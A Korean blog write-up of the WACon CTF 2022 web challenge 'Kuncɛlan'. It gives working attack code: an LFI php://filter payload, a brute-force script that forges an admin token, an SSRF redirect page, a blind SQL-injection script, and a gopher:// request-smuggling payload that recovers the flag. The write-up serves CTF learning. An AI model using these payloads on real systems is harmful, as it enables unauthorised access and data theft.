ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Study] WACon CTF 2022 Kuncɛlan Writeup
    CTF/WACon CTF 2022 2022. 6. 27. 22:13

    대회 기간에는 해결하지 못했던 문제였다. 우리 팀은 인원수 제한으로 ST4RT, 3ND 두 팀으로 나누어 출전했는데(본인은 ST4RT 로 출전) 3ND팀에서는 해당 문제를 해결했다. 대회 종료 후 서버 오픈 시간이 길지 않았기 때문에 팀원인 nicknamemohaji 님의 롸업을 기반으로 리뷰해보았다.

    해당 문제는 블랙박스 기반 문제로, 별도의 소스코드가 주어지지 않았다. 주어진 페이지에 접근해보자.

    guest / guest 로 로그인하면 curl 기능을 사용 할 수 있는 듯 한 페이지로 안내된다. 하지만 관리자 권한이 없어서 해당 기능을 테스트 할 수 없다.

     

    우선 gobuster를 통해 별도로 접근 가능한 디렉토리나 파일이 있는지 확인해보았다.(OSCP의 습관..)

    load.phtml 이 존재하는데, curl 기능을 제공하는 페이지의 파라미터가 load였다. 

    http://114.203.209.112:8000/index.phtml?fun_004ded7246=load

    실제로 직접 접근해보니 아래와 같은 메시지가 출력되었다.

    따라서, 입력받은 파라미터 뒤에 .phtml 를 붙힌 파일을 include하는 기능일 것이라고 추측했다. 

    (index를 입력했을때 정상출력을 못해주는 것 또한 확인했다.)

     

    그리고 파라미터에 /www/var/html/load를 입력해도 curl기능을 호출함으로써 LFI를 의심하게되었다.

     

    해당 서버는 php로 구성되어 있으므로 php wrapper를 통해 index.phtml load.phtml 의소스코드를 획득 할 수 있었다.

    http://114.203.209.112:8000/index.phtml?fun_004ded7246=php://filter/convert.base64-encode/resource=/var/www/html/load

    ## index.phtml
    
    <?php
    error_reporting(0);
    session_start();
    
    if(!isset($_SESSION['username'])) {
        header('location: ./login.php');
        die();
    }
    ?>
    
    
    
    <!doctype html>
    <html lang="en">
      <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="">
        <meta name="author" content="">
        <link rel="icon" href="favicon.png">
    
        <title>Home</title>
    
        <link rel="canonical" href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/">
    
        <!-- Bootstrap core CSS -->
        <link href="https://getbootstrap.com/docs/4.0/dist/css/bootstrap.min.css" rel="stylesheet">
    
        <!-- Custom styles for this template -->
        <link href="https://getbootstrap.com/docs/4.0/examples/sticky-footer-navbar/sticky-footer-navbar.css" rel="stylesheet">
      </head>
    
      <body>
    
        <header>
          <!-- Fixed navbar -->
          <nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
            <a class="navbar-brand" href="./index.phtml?fun_004ded7246">Home</a>
            <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
              <span class="navbar-toggler-icon"></span>
            </button>
            <div class="collapse navbar-collapse" id="navbarCollapse">
              <ul class="navbar-nav mr-auto">
                <li class="nav-item active">
                  <a class="nav-link" href="./index.phtml?fun_004ded7246">Home</a>
                </li>
                <li class="nav-item active">
                  <a class="nav-link" href="./index.phtml?fun_004ded7246=load">Fun?</a>
                </li>
              </ul>
              <h5><font color="#fff">Welcome </font><font color="#fff"><strong><?php echo $_SESSION['username']; ?></strong></font> 👋</h5>
              <h5><a class="nav-link" href="./logout.php">Logout</a></h5>
            </div>
          </nav>
        </header>
    
        <!-- Begin page content -->
        <?php 
        if (isset($_GET["fun_004ded7246"])) {
          if($_GET["fun_004ded7246"] !== ""){include $_GET["fun_004ded7246"].".phtml";}
          else {
          ?>
                          <main role="main" class="container">
                          <h1 class="mt-5">They said ?</h1>
                          <p class="lead">A secure website should start with <code>https</code> rather than <code>http</code>. The "s" in "https" stands for "secure". </p>
                          </main>
          <?php
          }
        }
        else{
          header('location: ./index.phtml?fun_004ded7246');
          die();
        }
        ?>
    
        <footer class="footer">
          <div class="container">
            <span class="text-muted">You can totally do this.</span>
          </div>
        </footer>
    
        <!-- Bootstrap core JavaScript
        ================================================== -->
        <!-- Placed at the end of the document so the pages load faster -->
        <script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
        <script>window.jQuery || document.write('<script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
        <script src="https://getbootstrap.com/docs/4.0/assets/js/vendor/popper.min.js"></script>
        <script src="https://getbootstrap.com/docs/4.0/dist/js/bootstrap.min.js"></script>
      </body>
    </html>
    ## load.phtml
    
    <?php
    
    // LOCATION : ./internal_e0134cd5a917.php
    
    error_reporting(0);
    session_start();
    
    if (!isset($_SESSION['username']))
    {
        header('location: ./login.php');
        die();
    }
    
    if (__FILE__ === $_SERVER['SCRIPT_FILENAME'])
    {
        die("only in include");
    }
    
    function valid_url($url)
    {
        $valid = False;
        $res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
        if (!$res) $valid = True;
        try{ parse_url($url); }
        catch(Exception $e){ $valid = True;}
        $int_ip=ip2long(gethostbyname(parse_url($url)['host']));
        return $valid 
                || ip2long('127.0.0.0') >> 24 == $int_ip >> 24 
                || ip2long('10.0.0.0') >> 24 == $int_ip >> 24 
                || ip2long('172.16.0.0') >> 20 == $int_ip >> 20 
                || ip2long('192.168.0.0') >> 16 == $int_ip >> 16 
                || ip2long('0.0.0.0') >> 24 == $int_ip >> 24;
    }
    
    function get_data($url)
    {
    
        if (valid_url($url) === True) { return "IP not allowed or host error"; }
    
        $ch = curl_init();
        $timeout = 7;
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        $data = curl_exec($ch);
    
        if (curl_error($ch))
        {
            curl_close($ch);
            return "Error !";
        }
    
        curl_close($ch);
        return $data;
    }
    
    function gen($user){
        return substr(sha1((string)rand(0,getrandmax())),0,20);
    }
    
    if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
    if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
    if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
    
    $IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
    
    $out = "";
    
    if (isset($_POST['url']) && !empty($_POST['url']))
    {
        if ( 
            $IP === "127.0.0.1" 
            & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
            & strpos($_COOKIE['USER'], 'admin') !== false 
        )
        {
            $out = get_data($_POST['url']);
        }
        else
        {
            $out = "Only the administrator can test this function from 127.0.0.1!";
        }
    
    }
    
    ?>
    
    <main role="main" class="container">
    <h1 class="mt-5">𝖈𝖚𝖗𝖑:// ?</h1>
    <p class="lead">cURL is powered by libcurl , used to interact with websites 🌐</p>
    <form method="post" >
    <legend><label for="url">Website URL</label></legend>
    <input class="form-control" type="url" name="url" style="width:100%" />
    <input class="form-control" type="submit" value="👉 Request HTTP 👈">
    </form><?php echo $out; ?> 
    </main>

    획득한 소스코드의 내용은 위와 같았고, index.phtml의 내용은 예상과 같아서 다른 확장자의 소스를 획득 할 수는 없었다.

    load.phtml 파일의 맨 위에 주석처리되어있는 ./internal_e0134cd5a917.php 경로에 접근해보면 아래와 같은 메시지가 안내된다. curl을 통해 접근해야 하는 듯 하다.

    curl 사용 조건 부분을 자세히 분석해보자.

    if(!isset($_SESSION['X-SECRET'])){ $_SESSION["X-SECRET"] = gen(); }
    if(!isset($_COOKIE['USER'])){ setcookie("USER",$_SESSION['username']); }
    if(!isset($_COOKIE['X-TOKEN'])){ setcookie("X-TOKEN",hash("sha256", $_SESSION['X-SECRET']."guest")); }
    ##### ............................................................................ (2)
    
    $IP = (isset($_SERVER['HTTP_X_HTTP_HOST_OVERRIDE']) ? $_SERVER['HTTP_X_HTTP_HOST_OVERRIDE'] : $_SERVER['REMOTE_ADDR']);
    ##### ............................................................................ (1)
    
    $out = "";
    
    if (isset($_POST['url']) && !empty($_POST['url']))
    {
        if ( 
            $IP === "127.0.0.1" 
            & $_COOKIE['X-TOKEN'] === hash("sha256", $_SESSION['X-SECRET'].$_COOKIE['USER']) 
            & strpos($_COOKIE['USER'], 'admin') !== false 
        )
        {
            $out = get_data($_POST['url']);
        }
        else
        {
            $out = "Only the administrator can test this function from 127.0.0.1!";
        }
    
    }

    우선 (1)의 결과 값이 127.0.0.1 이어야 한다. 해당 조건은 X_HTTP_HOST_OVERRIDE 라는 헤더를 만들어서 값을 넣어주면 해결 할 수 있다. $_SERVER['HTTP_~~~'] 의 뜻이 ~~~ 라는 커스텀 헤더의 값을 읽겠다는 의미이기 때문이다.

    https://www.php.net/manual/en/reserved.variables.server.php

     

    PHP: $_SERVER - Manual

    Guide to URL paths...Data: $_SERVER['PHP_SELF']Data type: StringPurpose: The URL path name of the current PHP file, including path-info (see $_SERVER['PATH_INFO']) and excluding URL query string. Includes leading slash.Caveat: This is after URL rewrites (i

    www.php.net

    얼핏보면, 두 번째 조건과 세 번째 조건이 함께 존재하는게 불가능해보인다.

    그 이유는 3번째 조건에서 USER 쿠키의 값이 admin이어야 하는데, 두 번째 조건의 X-TOKEN은 (2)에 의해 guest라는 값이 하드코딩된 해시 값이기 때문이다. 즉, 두 번째 조건의 $_COOKIE['USER'] 는 guest여야 하고, 세 번째 조건의 $_COOKIE['USER'] 는 admin이어야 한다.

     

    하지만, 위 조건은 hash가 무조건 안전하다고 가정했을 때이다. 대회 도중에는 이 부분을 생각하지 못해서 다른데를 빙빙돌다가 결국 해결하지 못했다...

     

    취약점을 찾아보자. $_SESSION["X-SECERT"] 이 생성되는 gen() 함수는 아래와 같다.

    function gen($user){
        return substr(sha1((string)rand(0,getrandmax())),0,20);
    }

    getrandmax() == (2 ^ 32) - 1 이므로 BruteForce가 불가능한만큼 큰 숫자는 아니다. 해당 범위안의 숫자를 전수조사하여 해시의 처음 20자리와 에 "guest"를 붙힌 문자열의 해시값이 발급받은 X-TOKEN일때의 수에 admin을 붙히고 다시 해시를 해주면 조건문을 만족 할 수 있다.

    우선 BruteForce 공격을 진행해보자.

    import hashlib
    import multiprocessing
    
    def findhash(start):
        target = '27e040ae65d4e051424f3fcc833bb4ca8580865242ec18a83e890f2a339d2fe1' # X-TOKEN
    
        for i in range(start, start + 100000001, 1):
            if target == hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'guest').encode()).hexdigest():
                print("#######################################")
                print("FOUND!!")
                print(i)
                print(hashlib.sha256((hashlib.sha1(str(i).encode()).hexdigest()[0:20] +'admin').encode()).hexdigest())
                print("#######################################")
                return
            if i % 10000000 == 0:
                print(i)
        #print(f"{start} ~ {end} not found")
    
    pool = multiprocessing.Pool(processes = 22)
    pool.map(findhash, [i * 100000000 for i in range(0, 22)])
    pool.close()
    pool.join()

     

    위 조건을 모두 만족하면 아래와 같이 curl자체는 이용이 가능함을 알 수 있다.

     

    하지만 직접 127.0.0.1로 접근하는 것은 valid_url 메소드에 의해 제한되어있다. 하지만, get_data의 뒷 부분을 자세히 분석해보면 redirect이 허용되어 있음을 알 수 있다.

    function get_data($url)
    {
    
        if (valid_url($url) === True) { return "IP not allowed or host error"; }
    
        $ch = curl_init();
        $timeout = 7;
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, True);
        curl_setopt($ch, CURLOPT_MAXREDIRS, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1); #####
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
        $data = curl_exec($ch);
    
        if (curl_error($ch))
        {
            curl_close($ch);
            return "Error !";
        }
    
        curl_close($ch);
        return $data;
    }

     따라서 127.0.0.1 로 redirect를 유도하는 페이지를 만든 후에 해당 주소로 curl을 시도하면 될 것이다.

    <?php header("Location: http://127.0.0.1/internal_e0134cd5a917.php")

     

    아래와 같이 요청하여 다음 경로를 획득하였다. (./internal_1d607d2c193b.php)

    해당 경로로 접근하면, 계정 정보를 요구한다.

    아무 ID/PW를 입력하면 POST EMPTY! 라는 반환값이 오는데, POST 로 메소드를 바꾸고 Content-Type을 추가하는 등 조건을 맞춰주면 아래와 같은 메시지가 출력된다.

    SQLi 가 의심되어, Basic 인증값에 인젝션을 시도했다. python의 requests 모듈에서는 auth 파라미터를 통해 Basic 인증을 지원한다.

    http://www.fun25.co.kr/blog/python-requests-basic-authenticate

     

    Requests 사용시 Basic 인증 처리 방법 | 퍼니오 호스팅

    Requests 사용시 Basic 인증 처리 방법 requests 라이브러리 사용시 Basic 인증이 필요한 리퀘스트 처리 방법입니다. session = requests.Session() session.auth = ("user", "password") r = session.get('http://example.com/data-get')

    www.fun25.co.kr

    import requests
    import string
    URL = 'http://114.203.209.112:8000/internal_1d607d2c193b.php'
    data = {"aaa": "bbb"}
    li = string.ascii_letters + string.digits + '_' + '}'
    flag = "WACon{"
    for i in range(19):
        print(flag)
        for c in li :
            r = requests.post(URL, auth = ("admin' and password like '" +  flag + c + "%' #", 'pw'), data=data)
            if r.text.count("not found") != 1:
                flag += c
                break
    flag_ = ""
    for i in range(25):
        r = requests.post(URL, auth = (f"admin' and ord(substr(password, {i+1}, 1))> 95#", 'pw'), data=data)
        if r.text.count("not found") != 1:
            flag_ += flag[i].lower()
        else:
            flag_ += flag[i].upper()
    print(flag_)
    
    ## by nicknamemohaji

    Blind SQLi를 통해 플래그 추출을 시도했지만, 일부분만 주어졌다. gopher를 이용하라는 힌트가 주어져 이를 시도해보았다.

     

    고퍼에 대해 조사하다가, gopher의 개념과 curl 사용 예시가 동시에 있는 자료를 발견했다.

    https://me2nuk.com/SSRF-Gopher-Protocol-MySQL-Raw-Data-Exploit/

     

    SSRF Gopher Protocol을 이용하여 MySQL 주입(SSRF Through Gopher)

    SSRF 취약점이 발생할 때 Gopher Protocol을 이용하여 MySQL에 쿼리를 주입하여 있는 데이터베이스 정보를 탈취할 수 있습니다.

    me2nuk.com

     

    이를 응용하여, 이전에 사용했던 SSRF를 통해 curl을 이용하여 gopher 를 사용해보았다.

    <?php header("Location: gopher://127.0.0.1:80/_POST%20/internal_1d607d2c193b.php%20HTTP/1.1%0d%0aHost:127.0.0.1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%203%0d%0aAuthorization:%20Basic%20YWRtaW46V0FDb257dHJ5X3VzaW5nX2dvcGhoaGhlcg==%0d%0a%0d%0aaaa")  ?>

    응답값으로 플래그 뒷부분을 출력해준다.

     

    FLAG : WACon{Try_using_Gophhhher_ffabcdbc}

     

    반응형

    'CTF > WACon CTF 2022' 카테고리의 다른 글

    [Clear] WACon CTF 2022 interspace Writeup  (0) 2022.06.27

    댓글

Designed by Tistory.